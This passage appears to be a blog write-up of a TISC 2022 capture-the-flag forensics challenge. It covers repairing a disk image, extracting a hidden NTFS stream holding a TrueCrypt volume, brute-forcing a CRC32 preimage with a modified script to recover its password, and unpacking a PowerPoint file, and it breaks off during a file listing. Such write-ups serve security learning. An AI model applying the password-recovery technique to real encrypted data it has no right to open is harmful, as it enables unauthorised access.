&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy5wu5gf204fh6bvu74uy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy5wu5gf204fh6bvu74uy.png" width="465" height="235"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftpmh5z2fqpqkazn6dhso.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftpmh5z2fqpqkazn6dhso.png" width="322" height="447"&gt;&lt;/a&gt;&lt;br&gt;
'&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqhqbw2j3kn32b65aej0n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqhqbw2j3kn32b65aej0n.png" alt="Image description" width="418" height="512"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff8obqsm2wuv135bbrss9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff8obqsm2wuv135bbrss9.png" width="462" height="452"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Solution - Continued
&lt;/h2&gt;

&lt;p&gt;Looking at Hints 2 &amp;amp; 3, you can infer that the solution is TrueCrypt&lt;/p&gt;

&lt;p&gt;Clue 4 Capitalises the letters C, R, C and includes the number 32, suggesting the algorithm is CRC32.&lt;/p&gt;

&lt;p&gt;I fixed the disk image using the &lt;code&gt;testdisk&lt;/code&gt; command. Opening the file with that command, I then fixed the boot sector (since the corrupted bytes are there). This is to allow us to mount the image.&lt;/p&gt;

&lt;p&gt;I mounted the disk image in Windows using OSFMount&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fna23r05kf93tz4ahsv46.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fna23r05kf93tz4ahsv46.png" width="800" height="379"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I downloaded the NTFS Data Stream message.png:$RAND using the AlternateStreamView Program. This is to extract the stream properly. I was stuck on extracting it through Autopsy, and it didn't extract the volume properly.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhirygtga6xk61knkxaz3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhirygtga6xk61knkxaz3.png" width="800" height="445"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Afterwards, I removed the text characters at the start. They are likely data added on to the initial data.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foehjh1e4hg7cfu8go9ma.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foehjh1e4hg7cfu8go9ma.png" width="800" height="449"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Used &lt;code&gt;f76635ab&lt;/code&gt; as password (The Flag)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2FHackin7%2FProgramming-Crappy-Solutions%2Fblob%2Fmaster%2FCyber%2520Security%2FCapture%2520the%2520Flag%2520Competitions%2F2022%2FTISC%2FLevel%25203%2FPasted%2520image%252020220830221133.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2FHackin7%2FProgramming-Crappy-Solutions%2Fblob%2Fmaster%2FCyber%2520Security%2FCapture%2520the%2520Flag%2520Competitions%2F2022%2FTISC%2FLevel%25203%2FPasted%2520image%252020220830221133.png" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Inside the volume has this image&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffa7l17ac1izl56od6ozq.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffa7l17ac1izl56od6ozq.jpg" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  CRC32 Cracking
&lt;/h3&gt;

&lt;p&gt;I downloaded a CRC32 cracking program and used it to crack the modified bytes. I modified the program to crack for the specific situation&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;git clone https://github.com/theonlypwner/crc32.git                                                                                              
Cloning into &lt;span class="s1"&gt;'crc32'&lt;/span&gt;...
remote: Enumerating objects: 53, &lt;span class="k"&gt;done&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
remote: Counting objects: 100% &lt;span class="o"&gt;(&lt;/span&gt;34/34&lt;span class="o"&gt;)&lt;/span&gt;, &lt;span class="k"&gt;done&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
remote: Compressing objects: 100% &lt;span class="o"&gt;(&lt;/span&gt;19/19&lt;span class="o"&gt;)&lt;/span&gt;, &lt;span class="k"&gt;done&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
remote: Total 53 &lt;span class="o"&gt;(&lt;/span&gt;delta 13&lt;span class="o"&gt;)&lt;/span&gt;, reused 30 &lt;span class="o"&gt;(&lt;/span&gt;delta 11&lt;span class="o"&gt;)&lt;/span&gt;, pack-reused 19
Receiving objects: 100% &lt;span class="o"&gt;(&lt;/span&gt;53/53&lt;span class="o"&gt;)&lt;/span&gt;, 43.08 KiB | 6.15 MiB/s, &lt;span class="k"&gt;done&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Resolving deltas: 100% &lt;span class="o"&gt;(&lt;/span&gt;19/19&lt;span class="o"&gt;)&lt;/span&gt;, &lt;span class="k"&gt;done&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;

┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;crc32                                                     

┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/crc32]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls   
&lt;/span&gt;crc32.py  LICENSE.txt  README.md  test_data.py  test.py

┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/crc32]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;mousepad crc32.py

┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/crc32]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;python crc32.py reverse 0xf76635ab &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; gen                                                                                                                    1 ⨯ 1 ⚙

┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/tmp/crc32]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here are the modifications I made to crc32.py&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;reverse_callback&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="c1"&gt;# initialize tables
&lt;/span&gt;    &lt;span class="nf"&gt;init_tables&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;get_poly&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="c1"&gt;# find reverse bytes
&lt;/span&gt;    &lt;span class="n"&gt;desired&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parse_dword&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;desired&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;accum&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parse_dword&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;accum&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# 4-byte patch
&lt;/span&gt;    &lt;span class="n"&gt;patches&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;findReverse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;desired&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;accum&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;patch&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;patches&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;permitted_characters&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;patch&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;{}{}{}{} &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;patch&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="nf"&gt;out&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;4 bytes: {}{{0x{:02x}, 0x{:02x}, 0x{:02x}, 0x{:02x}}}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;patch&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;checksum&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;calc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;patch&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;accum&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;out&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;verification checksum: 0x{:08x} ({})&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="n"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;OK&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;checksum&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;desired&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ERROR&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;print_permitted_reverse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;patch&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="n"&gt;patches&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;findReverse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;desired&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;calc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;patch&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;accum&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;last_4_bytes&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;patches&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;permitted_characters&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;last_4_bytes&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
                    &lt;span class="n"&gt;patch2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;patch&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;last_4_bytes&lt;/span&gt;
                    &lt;span class="nf"&gt;out&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;{} bytes: {} ({})&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
                        &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;patch2&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
                        &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;patch2&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
                        &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;OK&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;calc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;patch2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;accum&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;desired&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ERROR&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

    &lt;span class="c1"&gt;# 5-byte alphanumeric patches
&lt;/span&gt;    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;permitted_characters&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print_permitted_reverse&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,))&lt;/span&gt;
    &lt;span class="c1"&gt;# 6-byte alphanumeric patches
&lt;/span&gt;    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;permitted_characters&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;permitted_characters&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;print_permitted_reverse&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="c1"&gt;# 7-byte alphanumeric patches
&lt;/span&gt;    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;permitted_characters&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;permitted_characters&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;permitted_characters&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="nf"&gt;print_permitted_reverse&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="c1"&gt;# 9-byte
&lt;/span&gt;    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;permitted_characters&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;permitted_characters&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;permitted_characters&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;permitted_characters&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                        &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;c&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                        &lt;span class="nf"&gt;print_permitted_reverse&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What came out was a list of potential passwords, which if passed though CRC32, could produce the modified bytes. One of the entries, &lt;code&gt;c01lis1on&lt;/code&gt;, seemed interesting.&lt;/p&gt;

&lt;h3&gt;
  
  
  PPT File
&lt;/h3&gt;

&lt;p&gt;Keying in &lt;code&gt;c01lis1on&lt;/code&gt; as the password, I get &lt;code&gt;flag.ppsm&lt;/code&gt;, which is a PowerPoint presentation.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffdhzr6k5bx39qjvvt3gh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffdhzr6k5bx39qjvvt3gh.png" width="800" height="449"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Opening it gives me a tip on how to get the flag&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6k2ss2wl1up9m4jmw8vr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6k2ss2wl1up9m4jmw8vr.png" width="751" height="422"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I then extracted the mp3 file from the PowerPoint Slide.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ cp /media/sf_Stuff/flag.ppsm /tmp

┌──(kali㉿kali)-[~]
└─$ file /tmp/flag.ppsm 
/tmp/flag.ppsm: Microsoft PowerPoint 2007+

┌──(kali㉿kali)-[~]
└─$ cd /tmp                          

┌──(kali㉿kali)-[/tmp]
└─$ dtrx flag.ppsm         
dtrx: ERROR: could not handle flag.ppsm
dtrx: ERROR: not a known archive type

┌──(kali㉿kali)-[/tmp]
└─$ cp flag.ppsm flag.zip                                                                                                                                           1 ⨯

┌──(kali㉿kali)-[/tmp]
└─$ dtrx flag.zip 

┌──(kali㉿kali)-[/tmp]
└─$ cd flag              

┌──(kali㉿kali)-[/tmp/flag]
└─$ ls                         
'[Content_Types].xml'   docProps   ppt   _rels

┌──(kali㉿kali)-[/tmp/flag]
└─$ ls -alR                    
.:
total 24
drwx------  5 kali kali 4096 Sep  8 08:47  .
drwxrwxrwt 18 root root 4096 Sep  8 08:47  ..
-rw-r--r--  1 kali kali 3273 Jan  1  1980 '[Content_Types].xml'
drwxr-xr-x  2 kali kali 4096 Sep  8 08:47  docProps
drwxr-xr-x  8 kali kali 4096 Sep  8 08:47  ppt
drwxr-xr-x  2 kali kali 4096 Sep  8 08:47  _rels

./docProps:
total 28
drwxr-xr-x 2 kali kali  4096 Sep  8 08:47 .
drwx------ 5 kali kali  4096 Sep  8 08:47 ..
-rw-r--r-- 1 kali kali  1299 Jan  1  1980 app.xml
-rw-r--r-- 1 kali kali   644 Jan  1  1980 core.xml
-rw-r--r-- 1 kali kali 11197 Jan  1  1980 thumbnail.jpeg

./ppt:
total 48
drwxr-xr-x 8 kali kali 4096 Sep  8 08:47 .
drwx------ 5 kali kali 4096 Sep  8 08:47 ..
drwxr-xr-x 2 kali kali 4096 Sep  8 08:47 media
-rw-r--r-- 1 kali kali 3380 Jan  1  1980 presentation.xml
-rw-r--r-- 1 kali kali  816 Jan  1  1980 presProps.xml
drwxr-xr-x 2 kali kali 4096 Sep  8 08:47 _rels
drwxr-xr-x 3 kali kali 4096 Sep  8 08:47 slideLayouts
drwxr-xr-x 3 kali kali 4096 Sep  8 08:47 slideMasters
drwxr-xr-x 3 kali kali 4096 Sep  8 08:47 slides
-rw-r--r-- 1 kali kali  182 Jan  1  1980 tableStyles.xml
drwxr-xr-x 2 kali kali 4096 Sep  8 08:47 theme
-rw-r--r-- 1 kali kali  810 Jan  1  1980 viewProps.xml

./ppt/media:
total 1112
drwxr-xr-x 2 kali kali   4096 Sep  8 08:47 .
drwxr-xr-x 8 kali kali   4096 Sep  8 08:47 ..
-rw-r--r-- 1 kali kali  16169 Jan  1  1980 image1.png
-rw-r--r-- 1 kali kali 147982 Jan  1  1980 image2.jpg
-rw-r--r-- 1 kali kali 961443 Jan  1  1980 media1.mp3

./ppt/_rels:
